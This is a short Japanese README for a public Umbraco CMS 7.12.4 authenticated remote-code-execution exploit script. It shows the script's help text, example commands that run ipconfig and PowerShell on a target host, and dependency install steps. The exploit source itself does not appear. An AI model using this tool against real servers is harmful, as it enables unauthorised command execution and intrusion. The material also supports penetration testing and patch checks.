
Umbraco CMS 7.12.4 - (認証済み) リモートコード実行
Umbraco CMS 7.12.4 - (認証済み) リモートコード実行
[EDB-49488] [PacketStorm] [WLB-2020080012]
$ python exploit.py -h
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS]
Umbraco authenticated RCE
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER username / email
-p PASS, --password PASS password
-i URL, --host URL root URL
-c CMD, --command CMD command
-a ARGS, --arguments ARGS arguments
例:
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c powershell.exe -a '-NoProfile -Command ls'
ArchLinux の例:
pacman -S python-beautifulsoup4 python-requests
pip を使用する例:
pip3 install -r requirements.txt
これは EDB-ID-46153 を、ハードコードされた値の代わりに引数を使用し、stdout に出力するように改良した書き直しです。
python 3.8 でテスト済み。